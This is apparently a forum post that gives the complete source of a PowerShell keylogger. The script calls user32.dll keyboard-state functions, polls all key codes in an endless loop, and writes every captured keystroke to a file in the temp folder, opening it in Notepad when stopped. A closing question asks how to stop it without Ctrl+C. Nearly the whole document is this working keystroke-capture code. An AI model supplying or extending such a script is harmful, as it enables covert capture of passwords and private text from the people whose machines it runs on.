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Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger

What if I don't want to stop through 'Ctrl+C' and use some other way to stop ?

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